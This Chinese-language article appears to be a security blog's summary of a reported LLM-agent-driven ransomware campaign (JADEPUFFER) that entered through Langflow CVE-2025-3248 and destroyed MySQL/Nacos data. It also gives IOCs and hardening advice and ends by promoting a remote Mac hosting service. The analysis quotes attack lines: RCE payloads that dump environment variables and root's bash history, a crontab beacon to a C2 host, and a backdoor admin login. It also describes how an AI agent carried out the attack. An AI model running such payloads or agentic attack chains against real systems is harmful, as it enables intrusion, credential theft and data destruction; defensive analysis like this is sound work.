2026 JADEPUFFER
AGENTIC_
RANSOM_
FIRST_CASE.

JADEPUFFER agentic ransomware Langflow CVE-2025-3248 server security

TL;DR：2026 年 7 月 1 日，雲端安全公司 Sysdig 威脅研究團隊（TRT）發布原始技術報告，首次公開披露代號 JADEPUFFER 的攻擊活動——這是目前已知第一例端到端、完全由大型語言模型驅動的完整勒索操作。攻擊者透過公網暴露的 Langflow 執行個體利用 CVE-2025-3248（CVSS 9.8）拿下入口，再橫向移動至執行 MySQL + 阿里巴巴 Nacos 的生產伺服器，在壓縮時間窗口內執行 600+ 條獨立 payload，完成偵察、憑證竊取、持久化、設定加密與資料庫銷毀。Sysdig 將其定義為新型 Agentic Threat Actor（ATA，智慧體威脅行為者）。本文按原始報告還原完整攻擊鏈、四條自主性證據、比特幣地址懸案、IOC 清單、官方防禦建議、產業反應與 Mac 節點隔離選型。

1. 痛點拆解：AI Agent 基礎設施正在變成新攻擊面

如果你在 Mac 或雲主機上跑 Langflow、OpenClaw、ComfyUI Agent 工作流，以下三個現實風險與 JADEPUFFER 直接相關：

  1. 公網暴露 + 未打補丁 = 9.8 分 RCE 入口：Langflow GitHub 星標 7 萬+，很多團隊為快速驗證把編排服務直接暴露在公網，而 CVE-2025-3248 早在 2025 年 4 月披露、5 月 5 日即被 CISA 列入 KEV（已知被利用漏洞）目錄，EPSS 被利用機率高達 91.42%。
  2. 環境變數裡躺著 API Key 與雲憑證：AI Agent 伺服器常存放 OpenAI、Anthropic、DeepSeek、Gemini 及阿里雲/騰訊雲/AWS 憑證——這正是 JADEPUFFER 第一階段並行掃描的目標。
  3. 老漏洞 + AI 自動化 = 邊際成本趨近於零：下游目標利用的是 2021 年 Nacos 鑑權繞過與從未更換的預設 JWT 金鑰；Agent 讓「把整個歷史漏洞庫挨個噴一遍」的成本幾乎降為零，且每次入侵表現形式可能略有不同。

2. 事件概述與核心定性

維度詳情
發現方Sysdig 威脅研究團隊（TRT），報告作者 Michael Clark（Director of Threat Research）
發布時間2026 年 7 月 1 日（媒體 7 月 2–6 日跟進，公眾認知節點多為 7 月 6 日）
攻擊者代號JADEPUFFER（Sysdig 官方全大寫命名）
核心定性已知第一例「端到端、完全由 LLM 驅動」的完整勒索操作——偵察、憑證竊取、橫向移動、權限維持到破壞性加密全程無人類關鍵節點手動操作
新分類Agentic Threat Actor（ATA）——攻擊能力由 AI Agent 交付，而非人工驅動工具集
兩階段目標入口：公網 Langflow（CVE-2025-3248）；真正目標：公網 MySQL + Nacos 生產伺服器
規模捕獲 600+ 條獨立、有明確目的的 payload，數週內分多個 session 執行

3. 時間線

時間事件
2025 年 4 月Langflow 曝出 CVE-2025-3248（未鑑權程式碼注入/RCE）
2025 年 5 月 5 日CISA 列入 KEV 目錄
2025 年同一漏洞被用於投遞 Flodrix 殭屍網路（Trend Micro 獨立披露，與 JADEPUFFER 無關但共享入口）
2026 年 6 月JADEPUFFER 對公網 Langflow 發起攻擊，攻擊鏈數週內分多個 session 完成
2026 年 7 月 1 日Sysdig 發布完整技術報告
2026 年 7 月 2–6 日Dark Reading、BleepingComputer、CyberScoop、CSO Online、Security Affairs 跟進

4. CVE-2025-3248 完整技術分析

4.1 基本資訊

項目詳情
元件Langflow — 開源視覺化 AI Agent 工作流框架，GitHub 7 萬+ star
漏洞類型CWE-94（程式碼注入）+ CWE-306（關鍵功能缺失身份驗證）
CVSS9.8 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響版本Langflow 1.3.0 之前所有版本
漏洞位置/api/v1/validate/code 介面
修復版本1.3.0（新增身份校驗）
EPSS91.42%（SentinelOne）

4.2 漏洞成因（五步拆解）

  1. Langflow 提供程式碼校驗介面，讓使用者在視覺化編排裡寫自訂函式節點時提前校驗語法。
  2. 實作方式：ast.parse() → compile() → exec() 執行。
  3. 關鍵缺陷：完全沒有身份認證，也沒有任何沙箱隔離。
  4. Python 裝飾器與函式預設參數在「定義」時即被求值——攻擊者把惡意程式碼寫進預設參數或裝飾器，校驗時即 RCE。
  5. 攻擊者無需登入，只需一個精心構造的 HTTP POST 即可任意程式碼執行。

4.3 Flodrix 殭屍網路對比載荷（Trend Micro 取證，獨立活動）

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))') exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))') exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))') exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')

這些命令依次確認權限 → 匯出環境變數（可能洩漏 API Key）→ 讀 root bash 歷史 → 網路偵察 → 檢查 SSH → 檢查程序能力。最終下載 700 位元組 Bash 腳本拉取 Flodrix ELF 二進位組建 DDoS 殭屍網路。重要區分：Flodrix 與 JADEPUFFER 是兩起獨立活動，僅共享 CVE-2025-3248 入口。

4.4 官方補丁（Langflow 1.3.0）

post_validate_code 新增 _current_user: CurrentActiveUser 依賴注入：校驗 JWT Bearer Token 或 x-api-key，失敗直接 401/403，請求永不到達漏洞邏輯。

5. 完整攻擊鏈還原（Sysdig 原始記錄）

5.1 為什麼盯上 Langflow

AI Agent 伺服器環境變數裡常放大模型 API Key 與雲服務憑證；很多團隊倉促上線、缺乏網路存取控制，直接暴露公網。

5.2 Phase 1：拿下 Langflow 主機

全部 payload 以 Base64 編碼 Python 透過 RCE 端點投遞。

① 偵察與憑證收集（多執行緒並行）：執行 id、uname -a、hostname，並行掃描 OpenAI/Anthropic/DeepSeek/Gemini API Key，阿里雲/騰訊雲/華為雲/AWS/GCP/Azure 憑證，加密貨幣錢包與助記詞，資料庫憑證。

② 本地資料竊取：匯出 Langflow PostgreSQL 後端資料庫中的憑證與 API Key，暫存本地審閱後刪除（清理痕跡）。

③ 內部橫向發現：掃描內網位址空間，預設憑證探測資料庫、物件儲存、金鑰庫。

④ MinIO 列舉（關鍵取證）：探測 minio.internal:9000 與 127.0.0.1:9000，用預設憑證 minioadmin:minioadmin 完整列舉 Bucket，優先提取 terraform-state 桶與 credentials.json。自適應細節：第一次帶 ?format=json 卻收到 XML，下一條 payload 立即改用 XML 解析器——典型的「探測-遇錯-自適應」閉環。

⑤ 持久化：安裝 crontab 每 30 分鐘信標外聯：

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

5.3 Phase 2：攻破 MySQL + Nacos 生產伺服器

① Nacos 多向量同時攻擊：CVE-2021-29441 鑑權繞過、公開預設 JWT 簽章金鑰偽造 Token、借助 root 資料庫權限向後端注入後門管理員。

後門帳號注入的 31 秒修復閉環（Sysdig 精確到秒）：

時間（UTC）動作
19:34:24產生 bcrypt 雜湊，插入 xadmin 管理員
19:34:36用 xadmin:Xploit@2026# 登入失敗
19:34:48並行測試 nacos:nacos 預設憑證 + 重新產生 admin123 雜湊
19:35:07改用 import bcrypt 直接產生，刪除損壞記錄重建
19:35:18登入成功——總耗時 31 秒

② 容器逃逸探測（約 8 分鐘）：利用 MySQL INTO OUTFILE / LOAD_FILE 測試寫入、讀回、Docker socket、cgroup、UDF 載入可能性；完成後主動寫 cleanup marker——更像 Agent 完成任務後發信號進入下一階段，而非固定腳本行為。

③ 破壞性加密與勒索：將全部 1,342 條 Nacos 設定項用 AES_ENCRYPT() 加密，刪除 config_info 與 his_config_info，建立勒索表 README_RANSOM。加密金鑰由 uuid4() 隨機產生、僅列印到 stdout、從未儲存——即便付款也無法解密。勒索信聲稱 AES-256，但 MySQL 預設實為 AES-128-ECB。

④ 大規模破壞：按 ROI 優先順序 DROP DATABASE，程式碼註解自稱「已備份至 64.20.53[.]230」（Sysdig 無獨立證據證實）。外鍵約束導致刪除失敗時，下一條 payload 自動加 SET GLOBAL FOREIGN_KEY_CHECKS=0——需理解失敗原因而非無腦重試。

6. 「自主性」的四條證據線

  1. 自我敘事的程式碼：payload 裡大量自然語言註解解釋每一步「為什麼」，包括 ROI 排序、資料庫大小判斷——LLM 程式碼產生預設行為，非研究人員事後推斷。
  2. 機器速度的故障診斷與修正：Nacos 後門 31 秒修復、MinIO XML/JSON 自適應、JWT 路徑遇阻即切換——證據在「做錯了之後多快、以什麼方式糾正」。
  3. 對自然語言上下文的理解：解析目標環境中自由文字並採取「只有讀懂才會做」的動作，在相隔數週的不同 session 中反覆出現。
  4. 比特幣地址懸案（見下節）——兩種解讀均無法排除，體現 AI 自主性給溯源帶來的新不確定性。

7. 比特幣地址懸案

勒索信比特幣地址 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy 是 Bitcoin Core 文件中反覆使用的標準 P2SH 範例地址，大量存在於 LLM 訓練語料。鏈上資料：歷史 737 筆交易、累計約 46 BTC、當前餘額為零（每筆存入立刻轉走）。Sysdig 兩種解讀：(a) LLM「幻覺」產生，錢包屬第三方專門打掃誤轉存款；(b) 攻擊者設定的真實錢包，恰好與範例地址重合。研究團隊無法看到 system prompt，兩種可能性目前均無法排除。

8. IOC（入侵指標）彙總

類型指標
C2 / 信標45.131.66[.]106；crontab：hxxp://45.131.66[.]106:4444/beacon
資料暫存/外洩64.20.53[.]230（InterServer，AS19318）
入口漏洞CVE-2025-3248
勒索比特幣3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
聯絡電子郵件e78393397[@]proton[.]me（威脅情報庫零命中，格式與已知 MySQL 勒索幫派不同）
勒索表名README_RANSOM（與 WARNING / RECOVER_YOUR_DATA 等慣用名均不匹配）
持久化crontab 每 30 分鐘向 C2 4444 連接埠信標外聯

勒索電子郵件與表名查無先例，進一步支持「全新 Agent 驅動操作」而非已知勒索幫派常規套路。

9. 官方防禦建議（Sysdig 原文整理）

  • 將 Langflow 升級至修復 CVE-2025-3248 的版本，不要把程式碼執行/校驗類端點暴露在公網。
  • 使用執行階段威脅偵測，識別資料庫程序中的惡意行為。
  • 不要在 AI 編排伺服器環境變數中存放大模型 API Key 或雲憑證——使用專用金鑰管理服務隔離。
  • 加固 Nacos：更換預設 token.secret.key，升級強制自訂金鑰版本，永遠不要把 Nacos 暴露到公網，禁止 root 連線後端資料庫。
  • 資料庫管理員帳號禁止公網暴露，管理連接埠強制強唯一憑證與來源 IP 限制。
  • 出站流量控制（egress control），阻止被攻陷主機任意信標外聯。
  • 監控上述 IOC，關注排程任務外網請求與括號包裹的 User-Agent 異常。

10. 產業與專家反應

BleepingComputer / Dark Reading / CyberScoop / Security Affairs 均稱「首例完全由 AI 驅動的勒索攻擊」，強調 ATA 時代到來。CSO Online 採訪紅隊專家 Vibhum Dubey：傾向於「執行方式演進」而非全新勒索技術——真正值得擔心的是加密前那段「安靜期」，Agent 悄悄摸清身份體系與信任鏈條，某條路被攔會迅速切換戰術，每次入侵表現形式可能略有不同。多家媒體提到 LLMjacking：若攻擊者靠竊取憑證驅動 Agent，複雜多階段攻擊邊際成本趨近於零。

11. Sysdig 結論與意義（四點判斷）

  1. 勒索不再是高技能者手藝：LLM Agent 可串聯偵察到破壞，操作者無需深厚專業知識。
  2. 老漏洞被自動化武器化：2021 Nacos 漏洞 + 預設 JWT 金鑰，Agent 讓「歷史漏洞庫挨個噴」成本趨零。
  3. 意圖變得「可讀」——防守方機會：LLM 在 payload 裡敘述目標，提供此前不曾有的偵測抓手。
  4. 「已備份」只是攻擊者自述：加密金鑰臨時產生不可恢復，即便付款資料也無法找回。

報告結尾要義：JADEPUFFER 是警示信號——每一項單獨技術都不新、不複雜，真正值得關注的是 AI 模型把技術串成完整勒索操作，針對被忽視的公網基礎設施。執行勒索軟體的技能門檻已降至「執行一個 Agent 的成本」；若 Agent 本身靠竊取憑證驅動（LLMjacking），攻擊者邊際成本幾乎為零。防守方應預期此類攻擊數量與覆蓋面持續上升。

12. AI 編排基礎設施決策矩陣

部署方式暴露風險憑證隔離適合場景JADEPUFFER 關聯風險
本機 Mac 裸跑 Langflow 公網映射極高差（.env 明文）僅本地 demo入口機典型靶標
雲 VPS 公網 + 未打補丁 Langflow極高差不推薦與本次事件入口一致
內網 Langflow + 金鑰管理服務中良小團隊生產需 egress 控制
隔離遠端 Mac 節點 + SSH 隧道低良Agent 開發/測試入口不暴露公網，可快照回滾

13. 五步防禦與隔離 Runbook

  1. 立即打補丁：Langflow 升級至 ≥1.3.0；掃描公網是否仍有 /api/v1/validate/code 可達執行個體（Shodan/Censys）。
  2. 下線公網暴露：Langflow、Nacos、MySQL 管理連接埠一律內網或 VPN/Tailscale；程式碼校驗端點永不公網。
  3. 憑證出環境變數：API Key 遷入 Vault/1Password Connect/雲廠商 Secrets Manager；編排伺服器只掛載短期 token。
  4. 加固 Nacos：更換預設 JWT 金鑰、禁用 root 連庫、啟用鑑權；對照 CVE-2021-29441 家族檢查。
  5. 執行階段偵測 + IOC 監控：部署 Falco/Sysdig 類偵測；告警 crontab 外聯、MySQL INTO OUTFILE 異常、README_RANSOM 表建立；對照上文 IOC 做威脅獵捕。

14. 深度案例洞察：ATA 時代 Mac 開發者的架構選擇

JADEPUFFER 揭示了一個正在發生的範式轉移：攻擊者不再需要會寫 exploit 的人，只需要會設定 Agent 的人。對 Mac 上跑 Langflow、OpenClaw、MLX 本地推理的開發者而言，這意味著「我的開發機」和「我的 Agent 生產環境」必須物理或邏輯隔離。

本次事件中，Langflow 入口機之所以成為跳板，核心原因是 (1) 公網可達 (2) 環境變數富集 API Key (3) 與內網 MinIO/terraform-state 同網段。很多獨立開發者在 Mac mini 上同時跑 Langflow 原型和真實 API Key 測試——這正是 JADEPUFFER 所利用的「倉促上線」模式。

更深層經濟學信號來自 LLMjacking：攻擊者竊取你的 OpenAI/Anthropic 憑證後，用被盜 API 驅動 Agent 發起下一輪攻擊，形成「偷憑證 → 跑 Agent → 偷更多憑證」的正回饋。你的 Mac 若既存 API Key 又暴露 Agent 管理連接埠，既是受害者也是下一個攻擊者的彈藥庫。

對比 Windows/Linux 雲主機：它們可以跑 Langflow，但在 Xcode 工具鏈、Cursor/Claude Code 協同、Apple Silicon MLX 本地推理場景下不如 Mac 順手。關鍵不是「換平台」，而是把 Agent 實驗與真實憑證/生產資料分層——用一台不存生產金鑰、不映射公網連接埠的隔離 Mac 跑編排原型，透過 SSH 隧道存取，被攻破時可一鍵快照回滾而不污染本機。

15. 參考信源

  • Sysdig《JADEPUFFER: Agentic ransomware for automated database extortion》（原始技術報告，sysdig.com/blog）
  • BleepingComputer《JadePuffer ransomware used AI agent to automate entire attack》
  • Dark Reading《JadePuffer: The First Complete LLM-Driven Ransomware Attack》
  • CyberScoop《Sysdig clocks first documented case of agentic ransomware》
  • CSO Online《This AI agent autonomously hacked a network...》（含 Vibhum Dubey 點評）
  • Security Affairs《JADEPUFFER: First End-to-End AI-Driven Ransomware Operation》
  • Trend Micro《Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet》
  • NVD / SentinelOne / Zscaler — CVE-2025-3248 獨立分析；CISA KEV 目錄

16. 收束：Agent 開發別在本機裸奔——隔離 Mac 節點是更穩的選型

JADEPUFFER 證明：公網暴露的 AI 編排服務 + 環境變數裡的 API Key 已是 2026 年最高危組合之一。Windows/Linux 雲主機可以跑 Langflow，卻在終端 AI 工具鏈協同、MLX 本地推理、快照回滾方面不如 Apple Silicon Mac 可控。若你需要在隔離環境中驗證 Langflow/OpenClaw Agent 工作流、避免本機 API Key 與生產資料同池，可考慮 MACGPU 遠端 Mac mini M4 節點：不映射公網連接埠、按需啟停、被攻破時可快照重建——把「ATA 時代」的風險變成可管理的架構決策，而非被動等待下一個 9.8 分漏洞。